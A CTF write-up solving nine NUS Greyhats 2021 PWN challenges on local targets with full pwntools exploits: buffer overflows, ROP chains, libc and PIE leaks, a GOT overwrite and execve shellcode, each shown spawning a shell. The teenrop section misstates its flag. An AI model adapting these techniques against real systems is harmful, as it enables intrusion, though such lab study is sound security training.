Introduction

躲进小楼debug,管他冬夏与春秋。

The game was held in 2021, so I play with the challenges in the official GitHub repository. The flag format is greyhats{...}. You need to use Docker to deploy some of PWN and Web challenges and this post will not detail how to setup the environment.

This is the writeup of PWN part.

flag_hunter (Integer Overflow)

This challenge is about integer overflow. From writeup by another player I learnt that this challenge is a blind PWN, which means that the binary is unavailable for you to download during the CTF game.

After running this challenge we find it is a little game where there are two mode: practice and hunt. In the practice mode there is a hint:

Everything has a limit
Nothing in this world is higher than 127

That’s a signal of integer overflow. And after we use heal 10 health and Refresh Mana by turns, the health value becomes a minus number:

Your mana refreshed to 50
Your health: 120 mana: 50
Your choice of skill:
3
Your health + 10
Your health: -126 mana: 0

OK. Now we can choose the hunt mode. After some attempts, we find that it is hard to defeat the flag guardian in a normal way. So we try to make its health overflow. We should choose the hero Mage, not Slayer, because we need the defense skill, which is similar to heal 10 health in the practice mode.

There is another trick that the damage value of the guardian seems to be random in different runs, sometimes 10 and sometimes 30. We need to pwn it in the situation where this value is 10. Now we can input 3, 3, 2 (which means defense, defense and refresh of mana) for 4 times to let the health value of guardian overflow. Finally, we get the flag:

Guardian cause 10 damage to you!
Guardian heals 4 health!
Flag Guardian's health: -128
You win
greyhats{1nt3rger_OooOooverflow_in_3ss3nce}

Hence, the flag is greyhats{1nt3rger_OooOooverflow_in_3ss3nce}.

Final exploit script:

#!/usr/bin/python3
# flag_hunter in NUS Greyhats Welcome CTF 2021
from pwn import *

good_io = None
while not good_io:
    io = process('./flag_hunter')
    # pre
    io.recvuntil('2. hunt\n')
    io.send('2\n')
    io.recvuntil('Slayer\n')
    io.send('1\n')

    res = io.recvuntil('Your choice of skill:\n').decode().split()
    for i, word in enumerate(res):
        if word == 'damage:':
            break
    damage = int(res[i+1])
    if damage == 10: # we can only win when guardian's damage is 10
        log.success("got good guardian with damage 10")
        good_io = io
    else:
        log.failure("got bad guardian with damage 30")
        io.shutdown()

for i in range(4):
    good_io.send('3\n')
    good_io.recvuntil('Your choice of skill:\n')
    good_io.send('3\n')
    good_io.recvuntil('Your choice of skill:\n')
    good_io.send('2\n')
    if i == 3:
        res = good_io.recv()
        print(res.decode())
    else:
        good_io.recvuntil('Your choice of skill:\n')

hexdump-bof (Overwrite Return Address)

This challenge is easy because all you need to exploit it have already been in the binary & process. According to checksec in Pwndbg, there is no stack canary and PIE for the binary.

The logic is clear that there is a win() function which executes system("/bin/sh"), and you can get the function’s address from the response, where you could also see the whole stack. Hence, The only thing to do is to hijack the return address with the address of system("/bin/sh").

You can run this challenge with ncat, so as to exploit it remotely:

ncat -klvnp 5555 -c ./hexdumpbof.o

Final exploit script:

#!/usr/bin/python3
# hexdump-bof in NUS Greyhats Welcome CTF 2021
from pwn import *

#with process('./hexdumpbof.o') as io:
with remote('127.0.0.1', 5555) as io:
    res = io.recvuntil('Input:\n').decode().split()
    for word in res:
        if word.startswith('0x'):
            win_addr = word
            shell_addr = int(win_addr, 16) + 8
            break
    log.success("got shell function at {addr}".format(addr=win_addr))

    log.info('sending payload')
    io.writeline(('A'*32).encode('utf-8') + ('B'*8).encode('utf-8') + p64(shell_addr, endian='little'))
    io.recvuntil('Go again? (Y/N) ')
    io.writeline('N')
    io.recvuntil('You entered: N\n')
    log.info('spawning shell')
    io.interactive()

The whole exploit process:

[+] Opening connection to 127.0.0.1 on port 5555: Done
[+] got shell function at 0x4014dc
[*] sending payload
[*] spawning shell
[*] Switching to interactive mode
$ cat flag.txt
greyhats{b0f_m4d3_ezpz_345ff}

Hence, the flag is greyhats{b0f_m4d3_ezpz_345ff}.

The official exploit script is more elegant:

from pwn import *

if args.REMOTE:
    p = remote('127.0.0.1', 5555)
else:
    p = process('./hexdumpbof.o')

p.recvuntil("function at ")
win = int(p.recvuntil(" (win)", drop=True), 16)
success(f"win = {hex(win)}")
p.sendlineafter('Input:', flat({0x20: p64(0x8), 0x28: p64(win + 5)}))
p.sendlineafter("Go again? (Y/N)", "N")
p.interactive()

fetusrop (Easy ROP)

This challenge is easy with ROP. The given binary has no stack canary, no PIE, while NX enabled. And there is a win(a1, a2) function which executes system("/bin/bash") only when a1 is 0xcafe and a2 is 0x1337. Libc is also provided but proved to be unnecessary.

There are at least two methods:

  1. (normal) build ROP chain to call win with 0xcafe and 0x1337.
  2. (easiest) overwrite return address directly with the address of system("/bin/bash") to bypass the prerequisites of a1 and a2.

Because under the x64 architecture the first two arguments are passed by rdi and rsi register, not on the stack, it is infeasible to spawn a shell by finding a shell string and putting its address on the stack as argument.

The exploit script for method 2:

#!/usr/bin/python3
# fetusrop in NUS Greyhats Welcome CTF 2021
from pwn import *

log.info('exploiting remote program')
if args.REMOTE:
    p = remote('127.0.0.1', 5555)
else:
    p = process('./fetusrop')

p.writeline('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC'.encode('utf-8') + p64(0x400557)) # address of system("/bin/bash")
log.info('spawning shell')
p.interactive()

For method 1, we need to build ROP chain. We could firstly use ROPgadget to search for gadgets and then generate the whole chain directly with Pwntools, which is more convenient. All the gadgets we need could be found in the fetusrop binary, so the libc.so.6 is unnecessary.

Final exploit script for method 1:

#!/usr/bin/python3
# fetusrop in NUS Greyhats Welcome CTF 2021
from pwn import *

log.info('building rop chain')
context.binary = elf = ELF('./fetusrop')
rop = ROP(elf)

pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret']).address
rop.raw(pop_rdi)
rop.raw(0xcafe)
rop.raw(pop_rsi_r15)
rop.raw(0x1337)
rop.raw(0x80)
rop.raw(0x400537)
print(rop.dump())

log.info('exploiting remote program')
if args.REMOTE:
    p = remote('127.0.0.1', 5555)
else:
    p = process('./fetusrop')

p.writeline('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC'.encode('utf-8') + bytes(rop))
log.info('spawning shell')
p.interactive()

The whole exploit process for method 1:

[*] building rop chain
[*] '/root/welcome-ctf-2021/Challenges/Pwn/fetusrop/dist/fetusrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './fetusrop'
0x0000:         0x4005f3 pop rdi; ret
0x0008:           0xcafe
0x0010:         0x4005f1 pop rsi; pop r15; ret
0x0018:           0x1337
0x0020:             0x80
0x0028:         0x400537 win
[*] exploiting remote program
[+] Opening connection to 127.0.0.1 on port 5555: Done
[*] spawning shell
[*] Switching to interactive mode
$ cat flag.txt
greyhats{y0ur_pwn_j0urn3y_b3g1ns_982h89h}

Hence, the flag is greyhats{y0ur_pwn_j0urn3y_b3g1ns_982h89h}.

babyrop (Easy ROP)

This challenge is easy and nearly the same as the fetusrop challenge. Libc is provided but proved to be unnecessary.

You can build the ROP chain to pop the shell string to rdi register and return to execute the call _system instruction. That’s enought.

Final exploit script:

#!/usr/bin/python3
# babyrop in NUS Greyhats Welcome CTF 2021
from pwn import *

log.info('building rop chain')
context.binary = elf = ELF('./babyrop')
rop = ROP(elf)

pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
shell_str = next(elf.search(b'/bin/sh'))
rop.raw(pop_rdi)
rop.raw(shell_str) # "/bin/sh" address
rop.raw(0x4005e2)  # call _system
print(rop.dump())

log.info('exploiting remote program')
if args.REMOTE:
    p = remote('127.0.0.1', 5555)
    p.recvuntil('2022')
else:
    p = process('./babyrop')
    p.recvuntil('My favorite shell is /bin/sh')

p.writeline('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'.encode('utf-8') + bytes(rop))
log.info('spawning shell')
p.interactive()

The whole exploit process:

[*] building rop chain
[*] '/root/welcome-ctf-2021/Challenges/Pwn/babyrop/dist/babyrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './babyrop'
0x0000:         0x400683 pop rdi; ret
0x0008:         0x4006a4
0x0010:         0x4005e2
[*] exploiting remote program
[+] Opening connection to 127.0.0.1 on port 5555: Done
[*] spawning shell
[*] Switching to interactive mode

$ cat flag.txt
greyhats{4n_e4sy_0ne_f0r_y0u_82hhd2dh8dh}

Hence, the flag is greyhats{4n_e4sy_0ne_f0r_y0u_82hhd2dh8dh}.

kidrop (ROP and Libc-leak)

This challenge takes me some time to exploit, and libc.so.6 is necessary this time.

Anyway, NX is still enabled so it’s hard to execute shellcode on the stack. There are no system function and sh string in the kidrop binary, so we need to return to libc. Considering ASLR, we need firstly leak some funciton’s address and calculate addresses of system function and shell string. In this challenge, we hijack the control flow with ROP chain to utilize puts to print the address of the real address of puts within GOT, and then calculate other addresses in the given libc. Then, we need to return to the main function again to use another ROP chain to spawn shell.

Final exploit script:

#!/usr/bin/python3
# kidrop in NUS Greyhats Welcome CTF 2021
from pwn import *

context.binary = elf = ELF('./kidrop')

log.info('leaking puts address in libc')
log.info('building rop chain 1')
rop1 = ROP(elf)
pop_rdi = rop1.find_gadget(['pop rdi', 'ret']).address
rop1.raw(pop_rdi)
rop1.raw(elf.got.puts)
rop1.raw(0x4012D9)
print(rop1.dump())

if args.REMOTE:
    p = remote('127.0.0.1', 5555)
else:
    p = process('./kidrop')

p.sendlineafter('How are you?\n', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'.encode('utf-8') + bytes(rop1))

puts_addr = int.from_bytes(p.recv().strip(b'\x0a'), byteorder='little')
log.success('got puts address: 0x%x' % puts_addr)

log.info('calculating system address and /bin/sh address')
libc = ELF('./libc-2.27.so')
libc.address = puts_addr - libc.sym.puts
shell_addr = next(libc.search(b'/bin/sh'))
log.success('got system address: 0x%x' % libc.sym.system)
log.success('got /bin/sh address: 0x%x' % shell_addr)

log.info('returning to main function')
p.sendline('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'.encode('utf-8') + p64(0x4012c0))

log.info('exploiting to spawn a shell')
log.info('building rop chain 2')
rop2 = ROP(elf)
rop2.raw(pop_rdi)
rop2.raw(shell_addr)
rop2.raw(libc.sym.system)
print(rop2.dump())

p.sendlineafter('How are you?\n', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'.encode('utf-8') + bytes(rop2))

p.interactive()

It is interesting that the program will crash if you run the second ROP chain directly after calculating all needed addresses without returning to main:

After debugging, I found the root cause is the movaps instruction in the system function (refer to this and this for details), which needs the RSP register to keep 16-byte alignment. The easiest solution is to add an extra ret into the second ROP chain.

Final exploit script (without returning to main):

#!/usr/bin/python3
# kidrop in NUS Greyhats Welcome CTF 2021
from pwn import *

context.binary = elf = ELF('./kidrop')
context.terminal = ["tmux", "splitw", "-h"]

rop1 = ROP(elf)

log.info('leaking puts address in libc')
log.info('building rop chain 1')
pop_rdi = rop1.find_gadget(['pop rdi', 'ret']).address
rop1.raw(pop_rdi)
rop1.raw(elf.got.puts)
rop1.raw(0x4012D9)
print(rop1.dump())

if args.REMOTE:
    p = remote('127.0.0.1', 5555)
else:
    #p = gdb.debug('./kidrop', aslr=False, gdbscript='b main')
    p = process('./kidrop')

p.sendlineafter('How are you?\n', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'.encode('utf-8') + bytes(rop1))

puts_addr = int.from_bytes(p.recv().strip(b'\x0a'), byteorder='little')
log.success('got puts address: 0x%x' % puts_addr)

log.info('calculating system address and /bin/sh address')
libc = ELF('./libc-2.27.so')
libc.address = puts_addr - libc.sym.puts
shell_addr = next(libc.search(b'/bin/sh'))
log.success('got system address: 0x%x' % libc.sym.system)
log.success('got /bin/sh address: 0x%x' % shell_addr)

log.info('exploiting to spawn a shell')
log.info('building rop chain 2')
rop2 = ROP(elf)
ret = rop2.find_gadget(['ret']).address
rop2.raw(ret) # <----- extra ret
rop2.raw(pop_rdi)
rop2.raw(shell_addr)
rop2.raw(libc.sym.system)
print(rop2.dump())
#gdb.attach(p)
p.sendline('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'.encode('utf-8') + bytes(rop2))

p.interactive()

The whole exploit process (without returning to main):

[*] '/root/welcome-ctf-2021/Challenges/Pwn/kidrop/dist/kidrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './kidrop'
[*] leaking puts address in libc
[*] building rop chain 1
0x0000:         0x401353 pop rdi; ret
0x0008:         0x404018 puts
0x0010:         0x4012d9
[+] Opening connection to 127.0.0.1 on port 5555: Done
[+] got puts address: 0x7f550def3970
[*] calculating system address and /bin/sh address
[*] '/root/welcome-ctf-2021/Challenges/Pwn/kidrop/dist/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] got system address: 0x7f550dec2420
[+] got /bin/sh address: 0x7f550e026d88
[*] exploiting to spawn a shell
[*] building rop chain 2
0x0000:         0x40101a ret
0x0008:         0x401353 pop rdi; ret
0x0010:   0x7f550e026d88
0x0018:   0x7f550dec2420
[*] Switching to interactive mode

$ cat flag.txt
greyhats{g00d_j0b_d0ing_l1bc_l34k_2y389hd82}

Hence, the flag is greyhats{g00d_j0b_d0ing_l1bc_l34k_2y389hd82}.

BTW, it is very helpful to use gdb.attach() for debugging.

teenrop (ROP + ELF Base Leak + Libc Leak)

This challenge is easy if you succeed in exploiting kidrop.

The binary has been compiled with PIE enabled, so we could not retrieve the real GOT address of puts directly. We have to leak the loading base address and calculate it at runtime. Fortunately, the second option (get contact) of the program provides us with actually nearly an arbitrary-stack-address-read capacity. Utilizing this capacity, we could bypass PIE and leak the address of __libc_csu_init, and then calculate the GOT address of puts. The rest steps are just the same as that in kidrop.

Final exploit script:

#!/usr/bin/python3
# teenrop in NUS Greyhats Welcome CTF 2021
from pwn import *

context.binary = elf = ELF('./teenrop')
context.terminal = ["tmux", "splitw", "-h"]

if args.REMOTE:
    p = remote('127.0.0.1', 5555)
else:
    #p = gdb.debug('./teenrop', aslr=False, gdbscript='b main')
    p = process('./teenrop')

log.info('leaking __libc_csu_init address')
p.sendlineafter('Choice: ', '2'.encode('utf-8'))
p.sendline('20'.encode('utf-8'))
__libc_csu_init_addr = int(p.recvline()[7:].strip())
log.success("got __libc_csu_init address: 0x%x" % __libc_csu_init_addr)

elf.address = __libc_csu_init_addr - elf.sym.__libc_csu_init
log.success("got ELF base address: 0x%x" % elf.address)
log.success("got puts GOT address: 0x%x" % elf.got.puts)

log.info('leaking puts address in libc')
log.info('building rop chain 1')
rop1 = ROP(elf)
pop_rdi = rop1.find_gadget(['pop rdi', 'ret']).address
rop1.raw(pop_rdi)
rop1.raw(elf.got.puts)
rop1.raw(elf.address + 0x1332) # call puts@plt
print(rop1.dump())
p.sendlineafter('Choice: ', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'.encode('utf-8') + bytes(rop1))
puts_addr = int.from_bytes(p.recv().strip(b'\x0a')[:-9], byteorder='little')
log.success('got puts address: 0x%x' % puts_addr)

log.info('calculating system address and /bin/sh address')
libc = ELF('./libc-2.27.so')
libc.address = puts_addr - libc.sym.puts
shell_addr = next(libc.search(b'/bin/sh'))
log.success('got system address: 0x%x' % libc.sym.system)
log.success('got /bin/sh address: 0x%x' % shell_addr)

log.info('exploiting to spawn a shell')
log.info('building rop chain 2')
rop2 = ROP(elf)
ret = rop2.find_gadget(['ret']).address
rop2.raw(ret) # <----- extra ret
rop2.raw(pop_rdi)
rop2.raw(shell_addr)
rop2.raw(libc.sym.system)
print(rop2.dump())
#gdb.attach(p)
p.sendline('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'.encode('utf-8') + bytes(rop2))

p.interactive()

The whole exploit process:

[*] '/root/welcome-ctf-2021/Challenges/Pwn/teenrop/dist/teenrop'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 127.0.0.1 on port 5555: Done
[*] leaking __libc_csu_init address
[+] got __libc_csu_init address: 0x55be4c8fe3f0
[+] got ELF base address: 0x55be4c8fd000
[+] got puts GOT address: 0x55be4c900f98
[*] leaking puts address in libc
[*] building rop chain 1
[*] Loaded 14 cached gadgets for './teenrop'
0x0000:   0x55be4c8fe453 pop rdi; ret
0x0008:   0x55be4c900f98 puts
0x0010:   0x55be4c8fe332
[+] got puts address: 0x7f45e6340970
[*] calculating system address and /bin/sh address
[*] '/root/welcome-ctf-2021/Challenges/Pwn/teenrop/dist/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] got system address: 0x7f45e630f420
[+] got /bin/sh address: 0x7f45e6473d88
[*] exploiting to spawn a shell
[*] building rop chain 2
0x0000:   0x55be4c8fe01a ret
0x0008:   0x55be4c8fe453 pop rdi; ret
0x0010:   0x7f45e6473d88
0x0018:   0x7f45e630f420
[*] Switching to interactive mode
$ cat flag.txt
greyhats{y0u_4r3_g3tt1ng_g00d_4t_th1s_983u49r}

Hence, the flag is greyhats{g00d_j0b_d0ing_l1bc_l34k_2y389hd82}.

distinct (Overwrite Key Data Structure)

The challenge is interesting but not hard. It seems that all common mitigations are enabled:

RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

And there is no overflow flaw at the first look. However, don’t worry! We notice that:

  1. There is a win function which will spawn a shell for us (thanks, organizer), so our goal is to call win somehow.
  2. There is a handler function point next to the nums array, and the handler will be called at the end of main.
  3. A flaw exists in the sort function that the value of handler will also be sorted if the value of handler is smaller than other numbers within nums!
  4. The sorted nums will be printed at last.

Now this challenge is solvable. We could firstly input very large numbers like 18446744073709551614. Then nums and handler will be sorted together and the value of handler, which is actually exactly the address of the unique function, will be nums[0] while being printed. Therefore we leak address of unique successfully and are able to calculate the ELF base address. Finally we could get the real address of win and make it the biggest value in the second input loop. PWN, we reach win and get a shell!

Final exploit script:

#!/usr/bin/python3
# distinct in NUS Greyhats Welcome CTF 2021
from pwn import *

context.binary = elf = ELF('./distinct.o')
context.terminal = ["tmux", "splitw", "-h"]
if args.REMOTE:
    p = remote('127.0.0.1', 5555)
else:
    p = process('./distinct.o')

log.info('leaking handler address')
for i in range(16):
    p.sendlineafter(': ', '18446744073709551614'.encode('utf-8'))
res = p.recvuntil('Enter Again? (Y/N) ').decode().split('\n')
handler_unique_addr = int(res[1].split()[0])
log.success("got handler address (unique): 0x%x" % handler_unique_addr)

elf.address = handler_unique_addr - elf.sym.unique
log.success("got ELF base address: 0x%x" % elf.address)
log.success("got win address: 0x%x" % elf.sym.win)

log.info('overwriting handler with win address')
p.sendline("Y")
for i in range(16):
    p.sendlineafter(': ', str(elf.sym.win-14+i).encode('utf-8'))
p.sendlineafter('Enter Again? (Y/N) ', 'N'.encode('utf-8'))

p.interactive()

The whole exploit process:

[*] '/root/welcome-ctf-2021/Challenges/Pwn/distinct/dist/distinct.o'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 127.0.0.1 on port 5555: Done
[*] leaking handler address
[+] got handler address (unique): 0x55b9ab47237d
[+] got ELF base address: 0x55b9ab471000
[+] got win address: 0x55b9ab472594
[*] overwriting handler with win address
[*] Switching to interactive mode
$ cat flag.txt
greyhats{shUfFl3_tHe_Funt1on_pTr_oUt_5581d}

Hence, the flag is greyhats{shUfFl3_tHe_Funt1on_pTr_oUt_5581d}.

notepad– (Arbitrary Address R/W)

This challenge is different from traditional overflow issues. There is no apparent overflow point within the program. However, because of the lack of validation of the index, the creating and viewing operations of notes could be used to achieve arbitrary address read and write, at least in a specific scope.

In addition, the RELRO is disabled, which means that we could overwrite GOT at runtime:

RELRO:    No RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

After some explorations and attempts, we come up with the exploit idea below:

  1. Utilize view note with index -4 to leak the address of printf, and then calculate the address of system in libc.
  2. Utilize create note with index -5 to write /bin/sh (as the name of the new note) before notes and then write A*16 + system address as the content of new note. The address of system will overwrite the puts entry in GOT.
  3. view note again to trigger the exploitation. Now, the execution of puts(name_of_note) is actually system("/bin/sh").

Note that we choose to overwrite puts in GOT, because it is the function which only be used in the logic of viewing notes, so we would not break the logic in other parts.

Final exploit script:

#!/usr/bin/python3
# notepad-- in NUS Greyhats Welcome CTF 2021
from pwn import *

context.binary = elf = ELF('./notepad.o')
context.terminal = ["tmux", "splitw", "-h"]
if args.REMOTE:
    p = remote('127.0.0.1', 5555)
else:
    p = process('./notepad.o')

log.info('leaking printf address')
p.sendlineafter('> ', '2'.encode('utf-8'))
p.sendlineafter('Index: ', '-4'.encode('utf-8'))
res = p.recvuntil('> ').split(b'\n')
printf_addr = int.from_bytes(res[0][6:], byteorder='little')
log.success("got printf address: 0x%x" % printf_addr)

log.info('calculating system address')
libc = ELF('./libc-2.27.so')
libc.address = printf_addr - libc.sym.printf
log.success('got system address: 0x%x' % libc.sym.system)

log.info('writing /bin/sh before puts@GOT')
log.info('overwriting puts@GOT with system@libc')
p.sendline('1'.encode('utf-8'))
p.sendlineafter('Index: ', '-5'.encode('utf-8'))
p.sendlineafter('Name: ', '/bin/sh'.encode('utf-8'))
p.sendlineafter('Content: ', ('A'*16).encode('utf-8') + p64(libc.sym.system))

#gdb.attach(p)
log.info('triggering system(\'/bin/sh\') by viewing notes[-5]')
p.sendlineafter('> ', '2'.encode('utf-8'))
p.sendlineafter('Index: ', '-5'.encode('utf-8'))
p.recvuntil("Name: ")

log.info('spawning shell')
p.interactive()

The whole exploit process:

[*] '/root/welcome-ctf-2021/Challenges/Pwn/notepad--/dist/notepad.o'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 127.0.0.1 on port 5555: Done
[*] leaking printf address
[+] got printf address: 0x7fd656de0e40
[*] calculating system address
[*] '/root/welcome-ctf-2021/Challenges/Pwn/notepad--/dist/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] got system address: 0x7fd656dcb420
[*] writing /bin/sh before puts@GOT
[*] overwriting puts@GOT with system@libc
[*] triggering system('/bin/sh') by viewing notes[-5]
[*] spawning shell
[*] Switching to interactive mode
$ cat flag.txt
greyhats{y_s0_-v3_56w81}

Hence, the flag is greyhats{y_s0_-v3_56w81}.

opwn (Off-by-one, unsolved)

It takes me one morning and one afternoon to play with this challenge. However, I did not solve it before reading the idea behind this challenge and the official writeup. In addition, it is interesting that this challenge has nothing to do with heap.

I have reversed the binary and learnt about the logic of inserting, deleting and lookup operations. The inserting operation actually generates some instructions into the allocated space, and the lookup operation executes those instructions to find the value for specific key.

To be honest, I didn’t notice the off-by-one flaw of jump in the deletion logic of hashmap entry. However, I did notice that after inserting three entries and deleting the second entry, which index is 1, the intructions for latter entries will change to two new instructions:

0x133703a    add    byte ptr [rax], al
0x133703c    add    byte ptr [rax], al

The rax derives the value from the key we input, so if we input a key like 0x133705a, the two instructions beginning from 0x133703a will increase the original value at 0x133705a by double 0x5a. BTW, we could find an effective 23-byte shellcode. My idea is that if we could change the 23 bytes from 0x133705a to the shellcode in this way (add byte ptr [rax], al), we could then modify a ret instruction to some jump instruction and jump to the shellcode in the same way. Finally, the shellcode will be executed and we will get the flag. I even wrote a helper script to calculate how many loops we need to change a byte to the expected byte in shellcode this way for each byte:

#!/usr/bin/python3

def calculate_multiplier(ori, al, target):
    i = 1
    while True:
        if int(hex(ori + al * i)[-2:], 16) == target:
            return i
        i += 1

# shellcode
targets = [0x48, 0x31, 0xf6,
           0x56,
           0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
           0x2f, 0x73, 0x68,
           0x57,
           0x54,
           0x5f,
           0x6a, 0x3b,
           0x58,
           0x99,
           0x0f, 0x05]

al = 0x5a
for i in range(23):
    count = calculate_multiplier(0, al, targets[i])
    print("[*] #{i} byte: {count}".format(i=i, count=count))
    al += 1

I tried beginning from al = 0x5a. If the script gets stuck, I will increase al until all the targets could be arrived. Unfortunately, this way is infeasible.

The official writeup is clear. We could chain separated instructions together to spawn a shell. I didn’t realize that we could put 4 or 8 bytes as instructions into the hashmap, because I always tried with small integers like 1111 or 2222, and the higher bytes are always ZERO! It’s my fault :(

Final exploit script (from the official repository):

#!/usr/bin/python3
# opwn in NUS Greyhats Welcome CTF 2021
from pwn import *

context.arch = 'amd64'
if args.REMOTE:
    p = remote('localhost', 5555)
else:
    p = process("./opwn.o")

def insert(k, v):
    p.sendlineafter("Option:", "1")
    p.sendlineafter("Key:", str(k))
    p.sendlineafter("Value:", str(v))

def lookup(k):
    p.sendlineafter("Option:", "2")
    p.sendlineafter("Key:", str(k))

def delete(i):
    p.sendlineafter("Option:", "3")
    p.sendlineafter("Index:", str(i))

def exec(a):
    num = u64(asm(a).ljust(6, b'\x90') + b'\xeb\x12')
    insert(0xcafebabedeadbeef, num)

log.info("inserting the first one entry to be deleted later")
insert(0xcafebabe00000000, 0x00000000deadbeef)      # entry to be deleted
log.info("inserting the second entry to setup the chain")
insert(0x07eb9090aaaaaaaa, 0x12eb909090909090)      # setup the chain!

exec('mov ebx, 0x68732f2f')
exec('mov eax, 0x6e69622f')
exec('shl rbx, 0x20')
exec('xor rbx, rax')

# from https://www.exploit-db.com/exploits/42179, modified a bit
exec('xor rax, rax')
exec('xor rsi, rsi')
exec('xor rdx, rdx')
exec('push rax')
exec('push rbx')
exec('mov rdi, rsp')
exec('mov al, 0x3b')
exec('syscall')

log.info("delete the first entry to exploit the off-by-one jump")
delete(0)

log.info("look up to trigger the flaw and execute our shellcode")
lookup(0x1221)

p.interactive()

The whole exploit process:

[+] Opening connection to localhost on port 5555: Done
[*] inserting the first one entry to be deleted later
[*] inserting the second entry to setup the chain
[*] delete the first entry to exploit the off-by-one jump
[*] look up to trigger the flaw and execute our shellcode
[*] Switching to interactive mode
 $ cat flag.txt
greyhats{o1_m0r3_l1ke_o(pwn)_hurr_brrr_23311}

Summary

Anyway, this is the first time for me to play with PWN challenges after 2017. So, I want to say thanks to the organizers of NUS Greyhats Welcome CTF 2021, which helps me refine my skills.

Keep hacking :)